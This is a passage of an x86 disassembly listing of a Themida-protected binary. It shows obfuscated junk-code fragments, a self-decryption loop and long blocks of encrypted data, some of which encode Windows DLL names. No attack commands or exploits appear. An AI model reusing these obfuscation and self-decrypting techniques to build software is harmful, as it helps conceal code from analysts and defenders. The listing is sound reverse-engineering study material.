		push	esi
		mov	esi, 6F5C3192h
		jmp	loc_562574
sub_572802	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_57284F:				; CODE XREF: sub_55EDA7+9600j
		push	5E6h
		push	esp
		pop	[esp+4+var_4]
		push	772Bh
		mov	[esp+4+var_4], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_567445
; ---------------------------------------------------------------------------


loc_57287E:				; CODE XREF: sub_55EDA7+AA71j
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_572886:				; CODE XREF: sub_55EDA7+9CB7j
		mov	esp, [esp-4+arg_0]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_57288E:				; CODE XREF: sub_55EDA7+5531j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp


loc_572898:				; CODE XREF: sub_55EDA7+BF82j
		push	74F8h
		mov	[esp+14h+var_16+2], edx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		push	4EF8h
		mov	[esp+18h+var_1A+2], ebp
		push	edx
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_55F335
; ---------------------------------------------------------------------------


loc_5728C3:				; CODE XREF: sub_55EDA7+46FDj
		add	esp, 4
		xchg	ebx, [esp+20h+var_22+2]
		pop	esp
		and	byte ptr [esp+1Ch+var_1E+2], al
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5728D6:				; CODE XREF: sub_55EDA7+123F2j
		add	eax, 1F926E94h
		add	eax, ecx
		sub	eax, 1F926E94h
		sub	eax, 108C2A73h
		pop	ecx
		push	esi
		mov	esi, 2
		add	eax, esi
		jmp	loc_55EC46
; ---------------------------------------------------------------------------


loc_5728F5:				; CODE XREF: sub_55EDA7+966Cj
		push	eax
		mov	eax, 2
		mov	ecx, eax
		pop	eax
		push	ecx
		pop	edi
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		xor	ecx, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		jmp	loc_5653E4
; ---------------------------------------------------------------------------


loc_572925:				; CODE XREF: sub_55EDA7+1113Bj
		add	edi, 5B447ECFh
		sub	edi, ebx
		sub	edi, 5B447ECFh
		pop	ebx
		not	edi
		push	ebp
		mov	ebp, 1
		jmp	loc_569FA1
; ---------------------------------------------------------------------------


loc_572941:				; CODE XREF: sub_55EDA7+133A2j
		add	esp, 4
		add	esp, 4
		push	ecx
		sub	esp, 4
		push	esp
		pop	[esp-14h+arg_10]
		add	[esp-18h+arg_14], 4
		push	[esp-18h+arg_14]
		jmp	loc_55EF15
; ---------------------------------------------------------------------------


loc_57295E:				; CODE XREF: sub_55EDA7+F14Cj
		dec	ebx
		xchg	edx, ebx
		neg	edx
		xchg	edx, ebx
		xor	ebx, 0B89A3918h
		jmp	loc_565E86
; ---------------------------------------------------------------------------


loc_572970:				; CODE XREF: sub_55EDA7+C15Bj
		shl	dl, 1
		jmp	loc_5676A7
; ---------------------------------------------------------------------------


loc_572977:				; CODE XREF: sub_55EDA7+8F07j
		sub	edx, 5D5B25B7h
		sub	edx, esi
		add	edx, 5D5B25B7h
		mov	esi, [esp+0Ch+var_E+2]
		add	esp, 4
		jmp	loc_56BE9E
; ---------------------------------------------------------------------------


loc_572990:				; CODE XREF: sub_55EDA7+735Bj
		push	[esp-28h+arg_24]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_562C35
; ---------------------------------------------------------------------------


loc_5729A8:				; CODE XREF: sub_55EDA7+12A18j
		sub	edi, 301A7D62h
		inc	edi
		add	edi, 30CD36EBh
		sub	ebx, edi
		jmp	loc_55FB93
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D6ED


loc_5729BC:				; CODE XREF: sub_56D6ED+1j
		mov	ebx, 524C6AB5h
		jmp	loc_56E12E
; END OF FUNCTION CHUNK	FOR sub_56D6ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_5729C6:				; CODE XREF: sub_55EDA7+BD91j
		mov	ecx, ebp
		pop	ebp
		push	ecx
		sub	[esp+30h+var_32+2], 58D04849h
		pop	ebp
		add	ebp, 58D04849h
		pop	ecx
		not	ebp
		xor	ebp, 5DA96B1Bh
		jmp	loc_5646C8
; ---------------------------------------------------------------------------


loc_5729E6:				; CODE XREF: sub_55EDA7+EDCAj
		pop	ebx
		add	al, 0D2h
		add	al, dl
		sub	al, 0D2h
		push	[esp+38h+var_3A+2]
		push	[esp+3Ch+var_3E+2]
		pop	edx
		jmp	loc_568599
; ---------------------------------------------------------------------------


loc_5729F9:				; CODE XREF: sub_55EDA7-F8j
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		and	dh, 0DDh
		shr	dh, 4
		shl	dh, 7
		add	dh, 60h
		sub	al, 1Ch
		sub	esp, 4
		mov	[esp-14h+arg_10], edx
		mov	dl, 9Dh
		add	al, dl
		mov	edx, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_5672C5
; ---------------------------------------------------------------------------


loc_572A28:				; CODE XREF: sub_55EDA7+24D0j
		pop	ebp
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		push	ecx
		push	edi
		jmp	loc_571848
; ---------------------------------------------------------------------------


loc_572A48:				; CODE XREF: sub_55EDA7+713j
		mov	ebp, eax
		mov	[edx], ebp
		jmp	loc_56C7C5
; ---------------------------------------------------------------------------


loc_572A51:				; CODE XREF: sub_55EDA7+7695j
		pop	edi
		push	7371h
		mov	[esp-0Ch+arg_8], ebp
		push	77006BA2h
		jmp	loc_56BF3D
; ---------------------------------------------------------------------------


loc_572A64:				; CODE XREF: sub_55EDA7+1753j
		add	ebx, 0A70CD931h
		add	ecx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_55E653
; ---------------------------------------------------------------------------


loc_572A73:				; CODE XREF: sub_55EDA7+CCDFj
		add	eax, ecx
		jmp	loc_5635CA
; ---------------------------------------------------------------------------


loc_572A7A:				; CODE XREF: sub_55EDA7+13070j
		mov	esi, 357A3C3Fh
		jmp	loc_569925
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_572A84	proc near		; CODE XREF: sub_55EDA7+35C5j
		sub	esp, 4
		jmp	loc_566C09
sub_572A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_572A8F	proc near		; CODE XREF: sub_55EDA7+E45Ej
		push	ebp
		jmp	sub_56C986
sub_572A8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572A95:				; CODE XREF: sub_55EDA7+C23Ej
		push	esp
		push	[esp+34h+var_36+2]
		jmp	loc_56D905
; ---------------------------------------------------------------------------


loc_572A9E:				; CODE XREF: sub_55EDA7+A17Cj
		add	edx, 0C1B229Ch
		jmp	loc_567195
; ---------------------------------------------------------------------------


loc_572AA9:				; CODE XREF: sub_55EDA7+B2C5j
		add	dl, 4Eh
		jmp	loc_57191E
; ---------------------------------------------------------------------------


loc_572AB1:				; CODE XREF: sub_55EDA7+118Fj
		add	esp, 4
		push	edi
		jmp	loc_56D7FB
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_572ABD:				; CODE XREF: Themida_:0056FB4Fj
		push	358Eh
		mov	[esp], ecx
		push	esp
		jmp	loc_571C5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572ACB:				; CODE XREF: sub_55EDA7-9Bj
		pop	edi
		sub	ecx, ebp
		pop	ebp
		push	eax
		mov	eax, 0
		add	eax, ecx
		jmp	loc_570827
; ---------------------------------------------------------------------------


loc_572ADC:				; CODE XREF: sub_55EDA7+104FCj
		add	esp, 4
		add	esp, 4
		add	ecx, edx
		push	edx
		push	ebx
		mov	ebx, 436B0241h
		push	ebx
		xor	[esp+2+var_4+2], 21660C19h
		jmp	loc_571B0F
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_572AFB	proc near		; CODE XREF: sub_55EDA7+C1Fj

; FUNCTION CHUNK AT 0056D16E SIZE 0000000D BYTES

		push	ebp
		jmp	loc_56D16E
sub_572AFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572B01:				; CODE XREF: sub_55EDA7+4EF9j
		pop	esp
		jmp	loc_5621B5
; ---------------------------------------------------------------------------


loc_572B07:				; CODE XREF: sub_55EDA7+E426j
		sub	ecx, 3CBE38E9h
		jmp	loc_57106D
; ---------------------------------------------------------------------------


loc_572B12:				; CODE XREF: sub_55EDA7+12CF9j
		dec	ecx
		jmp	loc_5617B1
; ---------------------------------------------------------------------------


loc_572B18:				; CODE XREF: sub_55EDA7+12640j
		push	[esp+26h+var_22]
		push	[esp+2Ah+var_2A]
		mov	esi, [esp+2Eh+var_2E]
		add	esp, 4
		push	esi
		jmp	loc_570930
; ---------------------------------------------------------------------------


loc_572B2B:				; CODE XREF: sub_55EDA7+315Bj
		add	esp, 4
		push	ecx
		mov	ecx, 217E691Dh
		dec	ecx
		jmp	loc_5682C7
; ---------------------------------------------------------------------------


loc_572B3D:				; CODE XREF: sub_55EDA7+133BAj
		pop	bx
		add	ch, 0FFh
		push	eax
		mov	ah, ch
		jmp	loc_566641
; ---------------------------------------------------------------------------


loc_572B4A:				; CODE XREF: sub_55EDA7+1C0Ej
		sub	bl, 38h
		sub	bl, 3Ch
		jmp	loc_566ABA
; ---------------------------------------------------------------------------


loc_572B55:				; CODE XREF: sub_55EDA7+113F2j
		mov	[esp-40h+arg_3C], ebx
		jmp	loc_570DC8
; ---------------------------------------------------------------------------


loc_572B5D:				; CODE XREF: sub_55EDA7+4B88j
		pop	ebx
		push	esi
		push	esp
		mov	esi, [esp+4+var_4]
		jmp	loc_56587C
; ---------------------------------------------------------------------------


loc_572B68:				; CODE XREF: sub_55EDA7+1118Ej
		xchg	esi, [esp-18h+arg_14]
		pop	esp
		jmp	loc_564DB9
; ---------------------------------------------------------------------------


loc_572B71:				; CODE XREF: sub_55EDA7-861j
		sub	al, 1Dh
		sub	al, bl
		add	al, 1Dh
		add	al, 14h
		mov	ebx, [esp-1Ah+arg_14+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-16h+arg_10+2]
		pop	esp
		push	eax
		mov	al, 60h
		add	bl, 8Eh
		sub	bl, 65h
		jmp	loc_561328
; ---------------------------------------------------------------------------


loc_572B9D:				; CODE XREF: sub_55EDA7+C2E1j
		mov	esp, [esp-22h+arg_1C+2]
		div	cx
		push	ebp
		push	6C00h
		push	40A6h
		mov	[esp-16h+arg_10+2], esp
		add	[esp-16h+arg_10+2], 4
		pop	[esp-16h+arg_10+2]
		push	3394h
		mov	[esp-16h+arg_10+2], eax
		push	esi
		push	60C21EBFh
		jmp	loc_56B647
; ---------------------------------------------------------------------------


loc_572BCB:				; CODE XREF: sub_55EDA7+108B8j
		add	ebp, 59DE5275h
		pop	ecx
		jmp	loc_569483
; ---------------------------------------------------------------------------


loc_572BD7:				; CODE XREF: sub_55EDA7+E837j
		add	edi, 561A1D6Ch
		jmp	loc_5714ED
; ---------------------------------------------------------------------------


loc_572BE2:				; CODE XREF: sub_55EDA7+12C57j
		add	ebp, 40C51F66h
		push	edx
		mov	edx, 17C15E4Eh
		sub	ebp, 23062B03h
		jmp	loc_5629F1
; ---------------------------------------------------------------------------


loc_572BF9:				; CODE XREF: sub_55EDA7+A9A2j
		push	60894CBAh
		pop	ebp
		mov	esi, ebp
		jmp	loc_564C6A
; ---------------------------------------------------------------------------


loc_572C06:				; CODE XREF: sub_55EDA7+E9DAj
		push	6C46h
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 4C317BE5h
		push	edi
		mov	edi, 62833CC5h
		add	edi, 0C61DB0Eh
		and	ecx, edi
		pop	edi
		push	41Bh
		mov	[esp-8+arg_4], ebx
		mov	ebx, 0B8C1D17h
		add	ebx, 99D03F1h
		jmp	loc_566348
; ---------------------------------------------------------------------------


loc_572C3A:				; CODE XREF: sub_55EDA7+4980j
		add	esp, 4
		jmp	loc_566707
; ---------------------------------------------------------------------------


loc_572C45:				; CODE XREF: sub_55EDA7+7391j
		xor	ebp, 0D7BFFF7Bh
		push	ebp
		pop	esi
		pop	ebp
		push	esi
		jmp	loc_568234
; ---------------------------------------------------------------------------


loc_572C54:				; CODE XREF: sub_55EDA7+4EACj
		push	ecx
		mov	ecx, 3371579Eh
		or	ecx, 1C280C80h
		xor	ecx, 3F795F9Ch
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-26h+arg_20+2]
		mov	esp, [esp-26h+arg_20+2]
		jmp	loc_55FB80
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_572C74:				; CODE XREF: Themida_:005714D8j
		push	ecx
		push	6ABA1C99h
		jmp	loc_56A5EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572C7F:				; CODE XREF: sub_55EDA7+101A3j
		sub	dl, ch
		add	dl, 99h
		jmp	loc_56CFE5
; ---------------------------------------------------------------------------


loc_572C89:				; CODE XREF: sub_55EDA7+93D2j
		pop	esp
		jmp	loc_561AEE
; ---------------------------------------------------------------------------


loc_572C8F:				; CODE XREF: sub_55EDA7-3E4j
		sub	ax, di
		pop	di
		push	bp
		jmp	loc_561DE2
; ---------------------------------------------------------------------------


loc_572C9B:				; CODE XREF: sub_55EDA7+F5FAj
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 22D011Ch
		push	49BDh
		jmp	loc_560D17
; ---------------------------------------------------------------------------


loc_572CAE:				; CODE XREF: sub_55EDA7+F9CFj
		sub	cl, 7Ah
		jmp	loc_56B17F
; ---------------------------------------------------------------------------


loc_572CB6:				; CODE XREF: sub_55EDA7+28A6j
		xchg	edx, [esp+2Ch+var_2E+2]
		pop	esp
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_572CBF:				; CODE XREF: sub_55EDA7+E363j
		pop	ebx
		push	ecx
		jmp	loc_568CB3
; ---------------------------------------------------------------------------


loc_572CC6:				; CODE XREF: sub_55EDA7+C2FFj
		push	80000h
		mov	ebp, [esp-1Eh+arg_18+2]
		sub	esp, 4
		mov	[esp-1Ah+arg_14+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		sub	esp, 4
		jmp	loc_56E3CF
; ---------------------------------------------------------------------------


loc_572CE8:				; CODE XREF: sub_55EDA7+DCD7j
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		jmp	loc_570E02
; ---------------------------------------------------------------------------


loc_572CF6:				; CODE XREF: sub_55EDA7+117C6j
		add	ebx, ecx
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_564980
; ---------------------------------------------------------------------------


loc_572D03:				; CODE XREF: sub_55EDA7+66D0j
		mov	eax, 4
		sub	esi, 18A4087Ch
		jmp	loc_56E804
; ---------------------------------------------------------------------------


loc_572D13:				; CODE XREF: sub_55EDA7+48FEj
		not	ebx
		or	ebx, 36E07F71h
		jmp	loc_566D07
; ---------------------------------------------------------------------------


loc_572D20:				; CODE XREF: sub_55EDA7+2372j
		sub	edi, eax
		pop	eax
		inc	edi
		jmp	loc_5684CB
; ---------------------------------------------------------------------------


loc_572D29:				; CODE XREF: sub_55EDA7+C59Fj
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_567EA9
; ---------------------------------------------------------------------------


loc_572D37:				; CODE XREF: sub_55EDA7+10D76j
		mov	[esp+38h+var_3A+2], eax
		push	ebp
		jmp	loc_56F255
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_572D40	proc near		; CODE XREF: sub_55EDA7+5BD4j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_56469A
sub_572D40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_572D4E:				; CODE XREF: sub_55EDA7+6013j
		mov	edi, esp
		jmp	loc_56C12C
; ---------------------------------------------------------------------------


loc_572D55:				; CODE XREF: sub_55EDA7+BE19j
		mov	esi, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_5643D5
; ---------------------------------------------------------------------------


loc_572D65:				; CODE XREF: sub_55EDA7+3218j
		mov	ecx, 0A4381027h
		jmp	loc_55F681
; ---------------------------------------------------------------------------


loc_572D6F:				; CODE XREF: sub_55EDA7+10E8j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55F8DC
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_572D87:				; CODE XREF: sub_56D8B3-55Dj
		mov	eax, esp
		jmp	loc_56F63F
; END OF FUNCTION CHUNK	FOR sub_56D8B3
; ---------------------------------------------------------------------------


loc_572D8E:				; CODE XREF: Themida_:005511B7j
		call	sub_572D99
		outsd
		nop
		inc	eax
; ---------------------------------------------------------------------------
		dw 0FEDAh
		db 0B2h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_572D99	proc near		; CODE XREF: Themida_:loc_572D8Ep
		jmp	sub_572DB1
sub_572D99	endp

; ---------------------------------------------------------------------------
		dw 0BC48h
		dd 0BF6CBA4Ah, 0B187A924h, 0D444B833h, 558F0858h
		db 0C8h

; =============== S U B	R O U T	I N E =======================================



sub_572DB1	proc near		; CODE XREF: sub_572D99j

; FUNCTION CHUNK AT 0055149C SIZE 00000055 BYTES
; FUNCTION CHUNK AT 005519FE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00552099 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055394A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553D7B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00557DE4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057376A SIZE 00000026 BYTES

		pop	ecx
		push	esi
		push	edi
		sbb	al, 4
		pop	eax
		pop	eax
		add	ecx, 61CDh
		jmp	loc_572DC9
; ---------------------------------------------------------------------------
		dd 172772E3h
		db 0B8h
; ---------------------------------------------------------------------------


loc_572DC9:				; CODE XREF: sub_572DB1+Ej
		mov	edi, 3470B5CAh
		sub	edi, 34709D80h
		movzx	esi, cx


loc_572DD7:				; CODE XREF: sub_572DB1+76j
		push	dword ptr [ecx]
		clc
		pop	ebx
		stc
		sub	ebx, 2CB69FEFh
		stc
		sub	ebx, 5134DB7Dh
		mov	esi, 20569134h
		sub	ebx, 1FF27B7h
		jmp	loc_572E0D
; ---------------------------------------------------------------------------
		db 0DBh, 1Fh, 5Bh
		dd 122C875Eh, 731E74CFh, 70186DF4h, 7F6D2527h
; ---------------------------------------------------------------------------
		inc	esi


loc_572E0D:				; CODE XREF: sub_572DB1+43j
		push	ebx
		jz	loc_572E17
		pusha
		clc
		popa


loc_572E17:				; CODE XREF: sub_572DB1+5Dj
		pop	dword ptr [ecx]
		clc
		sub	ecx, 1
		dec	ecx
		dec	ecx
		dec	ecx
		cld
		sub	edi, 1
		jnz	loc_572DD7
		jmp	loc_572E3C
; ---------------------------------------------------------------------------
		dw 8ED3h
; ---------------------------------------------------------------------------
		sbb	al, 2Dh
		test	eax, 99C50D9Eh


loc_572E3C:				; CODE XREF: sub_572DB1+7Cj
		jmp	loc_572E9B
; ---------------------------------------------------------------------------
		db 0C9h, 9Dh, 6Eh
		dd 45535571h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch,	3000807h
		dd 0E000F00h, 7000300h,	4C00h, 8 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_572E9B:				; CODE XREF: sub_572DB1:loc_572E3Cj
		jmp	loc_573738
; ---------------------------------------------------------------------------
		push	61099BEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109A36h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109B5Ch
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109C77h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109CE3h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109DDFh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6109E32h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		dw 0A9A0h
		dd 837F1ADEh, 6863FEC2h, 4C46E1A5h, 3028C387h, 0CC78A367h
		dd 14D8A199h, 0F5B98079h, 0DB9F5C5Ah, 0C0844340h, 0A1E8A974h
		dd 215D7928h, 9F09ADB8h, 0A42DAB0Dh, 93CA4D0Eh,	0B865D79h
		dd 0DCCD3B90h, 0B1AE4D74h, 0CA1FD6F2h, 75702D0Bh, 1EF489h
		dd 51CCCE97h, 943807D6h, 1BB67DAAh, 3EFB505Dh, 617703AEh
		dd 5120EF6Ah, 0D8A6CCADh, 6425C4F0h, 0A29BF425h, 38CD229Dh
		dd 0B189F13Bh, 1CA593CCh, 7DB7A94Dh, 76BFBC3h, 0EE921C5Dh
		dd 6BC0F28Bh, 0BBA9DFA0h, 0AC27416Fh, 7F443EDDh, 3F57AC63h
		dd 698E9034h, 21C4EC9Ah, 962B0DCCh, 0AF6A06C7h,	1B967B7Dh
		dd 0E2DE7D4Ch, 2D2A0521h, 39EF36Eh, 0E8834706h,	90D62CEBh
		dd 0D0C29FBEh, 6D3EA74h, 7D740000h, 5753EEB2h, 3C37D296h
		dd 201AB579h, 4FC975Bh,	984C773Bh, 0E8AC756Dh, 0C98D544Dh
		dd 0AF73302Eh, 94581714h, 5DBC7D48h, 0F55D7929h, 0B9B6DE8Ch
		dd 34D3DEFAh, 0DCD97837h, 2F09C81Dh, 0CA02C392h, 0F6617A48h
		dd 3EDDAC7Bh, 8F2A7F44h, 0F4B3B091h, 8D0CCDD8h,	45A286D8h
		dd 10D44FCAh, 0EBBA7775h, 708C534Ch, 714C64B9h,	115FB574h
		dd 4F288CDFh, 65B69F3h,	0F5EC0000h, 0CFCB662Ah,	0B4AF4A0Eh
		dd 98922DF1h, 7C740FD3h, 0C4EFB3h, 6024EDE5h, 4105CCC5h
		dd 27EBA8A6h, 0CD08F8Ch, 0D534F5C0h, 6D5D792Ah,	0B9B65604h
		dd 34D3DEFAh, 87227738h, 4EAFCB8Ah, 0E6113F90h,	40AFF647h
		dd 62h,	18B786D2h, 873E5A1Dh, 69B043C6h, 1F82225Bh, 6FDB3A8Eh
		dd 3DD82DA8h, 0EB28140h, 25129E06h, 45055A8Ah, 0B07194D7h
		dd 0FCF95B69h, 0B0E128E9h, 0C2615B69h, 108B06C5h, 16AB8D4Ch
		dd 21F88647h, 0AD286178h, 84413FDEh, 462725C0h,	0A56A644Bh
		dd 0DC570E2Ah, 5B736C0h, 0C8670000h, 3AF10DCAh,	0B9B677E5h
		dd 59DFDEFAh, 0B733AB3Fh, 0D4520546h, 9D650985h, 0D92ED2AAh
		dd 1838E51Fh, 6223F26Dh, 61777772h, 0B3D69766h,	0FA29BD6h
		dd 0D6187F40h, 3DB8A29Bh, 0BAA6DC2h, 7C334F0Eh,	0A621E0DDh
		dd 8B4A47E2h, 913008C7h, 2E3601C2h, 6FEA9888h, 460301A0h
		dd 0C913B782h, 0B695D5FFh, 8552B576h, 73EEA888h, 0A08A3F8h
		dd 0F36E2B29h, 40FFFCD7h, 8282B0EAh, 0EA74D022h, 535h
		dd 8C501B12h, 7034F5F1h, 5317DAD5h, 35F9BEB8h, 15D9A29Ah
		dd 130B7AEAh, 0F2EB864Ah, 0CECC672Bh, 0B5B24D11h, 1BE632F6h
		dd 792B3F5Ah, 7C2A935Dh, 209E286h, 405C1F1Ah, 435EE589h
		dd 37F8F493h, 740F641Bh, 64A36477h, 0DC5B6972h,	0EFCAE661h
		dd 0B61733F2h, 0D23EA7F8h, 0BA5B6970h, 0F58BC434h, 0FEE362AFh
		dd 86F4FFFFh, 0A40998E2h, 0F2479D12h, 7F9B5A57h, 3A09B880h
		dd 0AC6FAA6Bh, 68E35B69h, 0AA794813h, 69ACAEE9h, 52A7225Bh
		dd 77FF5795h, 0B276F161h, 0AD7C45F3h, 865430ECh, 0C09A898h
		dd 0BA35F84Dh, 6C63A19Eh, 0EAF9A88Ah, 388D504Bh, 0BC3B69BAh
		dd 6ABC126Bh, 155h, 4403009Fh, 0AE1C7128h, 0DF5974DCh
		dd 425213E2h, 7E6177DFh, 521E4DFh, 3504D34Eh, 98601574h
		dd 0DD32ADA2h, 1DE14B48h, 95A3CCB2h, 6C9C5D2Ch,	0E441607Eh
		dd 0EA4E4D69h, 6F6908D7h, 82D78EAAh, 717AF6B7h,	0B867B7Eh
		dd 0BDA09D3Ch, 0C084FFC2h, 13692825h, 0C298E991h, 1A0993EFh
		dd 2D000004h, 0CA76B36h, 0F08B4F10h, 0D36E32F5h, 0B55014D9h
		dd 530F4BDh, 652E265Fh,	460D06A1h, 2CE9E782h, 11D0CD68h
		dd 7536014Dh, 5D792C12h, 929745AEh, 8B4C1BA6h, 617A48A9h
		dd 1C6C05Fh, 9F6EE9ACh,	0C21C0200h, 0C2A1CEA8h,	0ED8C5BD6h
		dd 1DDD32EFh, 0ABC78482h, 0FFC0D3D0h, 0A286F198h, 0EC42BD38h
		dd 288CF6AEh, 0AED862BEh, 99000003h, 7813D7A2h,	5CF7BB7Ch
		dd 3FDA9E61h, 21BC8045h, 719C6029h, 0D19A92F3h,	0B279720Dh
		dd 985553EEh, 7D3C39D4h, 0E1A26DB9h, 5D792CA6h,	0B603B11Ah
		dd 3DEFAB9h, 0CA2B4706h, 3E52BB0Ch, 0CE5B69B2h,	0F64EB048h
		dd 0E0D877AFh, 210F15EEh, 0F36ED339h, 0FFCB20D7h, 0FFFFFD69h
		dd 0FAB9B691h, 6859DFDEh, 0CB14D899h, 15B46177h, 0BCBA5918h
		dd 0E6B584FFh, 9855E225h, 2A7281A2h, 0DC07A77Eh, 0ACB9A15h
		dd 0A298378Fh, 0B373C843h, 5E6DDC45h, 5718E7DAh, 6177DF45h
		dd 726F0883h, 0FA70F36Dh, 33F0EE8Dh, 0A8191FDEh, 97E018D9h
		dd 916030ADh, 0A5F349D0h, 138E0910h, 1A20A044h,	43A40E2Ch
		dd 61D7D6EEh, 65813E3Ch, 0A36433AEh, 2ABBC88Dh,	4AE9B833h
		dd 0F29654Dh, 306DFB35h, 4D47E6B5h, 95916C88h, 440459D4h
		dd 0D899ACA9h, 1ED45DB1h, 0C51B9611h, 94DE5533h, 0B2A7318Dh
		dd 95000002h, 740FD39Eh, 58F3B778h, 3BD69A5Dh, 1DB87C41h
		dd 6D985C25h, 0CD968EF7h, 0AE756E09h, 94514FEAh, 793835D0h
		dd 0DD9E69B5h, 5D792DBAh, 92FFAD16h, 8B4C1BA6h,	617A48A7h
		dd 7413E25Dh, 5AF5B976h, 0A8839F5Ch, 0C96ECABh,	54288CDFh
		dd 25F6EF8h, 0F1E80000h, 0CBC76226h, 0B0AB460Ah, 948E29EDh
		dd 78700BCFh, 4C0EBAFh,	5C20E9E1h, 3D01C8C1h, 23E7A4A2h
		dd 8CC8B88h, 0E930F1BCh, 695D792Eh, 0A6925200h,	0DE7D4C1Bh
		dd 0BC81DE6h, 617A4827h, 0F49362DDh, 0A97438F7h, 7DEB7105h
		dd 0AD0264CDh, 374B4DEEh, 0E8B043B4h, 0CC9B6AE5h, 4F4D302Dh
		dd 20FB1792h, 90E56027h, 86D8C2D3h, 0DC56FAA2h,	2FF3E84Dh
		dd 9510D328h, 0DFCA6E79h, 280CEB0Ah, 0E4A7A241h, 33FCF48Fh
		dd 948C6717h, 56C145A2h, 0C67D995Ah, 0FF39CA22h, 1D16B584h
		dd 0DF833A56h, 7E8D1681h, 9E5EB379h, 77972FD3h,	0A1A76CA3h
		dd 13AE8D4Ch, 960C8344h, 0DACA286h, 7D345011h, 0CEEA6528h
		dd 6837F6F3h, 96B1D899h, 9611A286h, 7F1E2941h, 0EEA5C184h
		dd 514E2999h, 3633CE92h, 8204A877h, 72308EFFh, 43F81065h
		dd 0FBCAD9A7h, 8641DF3Ah, 0A3F873A2h, 908DD425h, 0E39AD7A8h
		dd 3DB8E383h, 22E1DE79h, 0B73DAF53h, 0FA32C549h, 0BAB28DA5h
		dd 888322F1h, 269B071h,	6EE9A286h, 246324F3h, 9CA28602h
		dd 0BFB4CC21h, 0D579F041h, 3B9A1ADh, 48E33873h,	1077384Bh
		dd 0B0A28642h, 36521711h, 6A65047Fh, 0BE5D2CA7h, 2AE1FDC6h
		dd 827A15D5h, 4CE89DB9h, 246BBC7Eh, 49F632Ch, 61241F0Ch
		dd 44138E45h, 0CDE1C1A0h, 0A6FBD8C6h, 0F8B5B38Eh, 71C280DCh
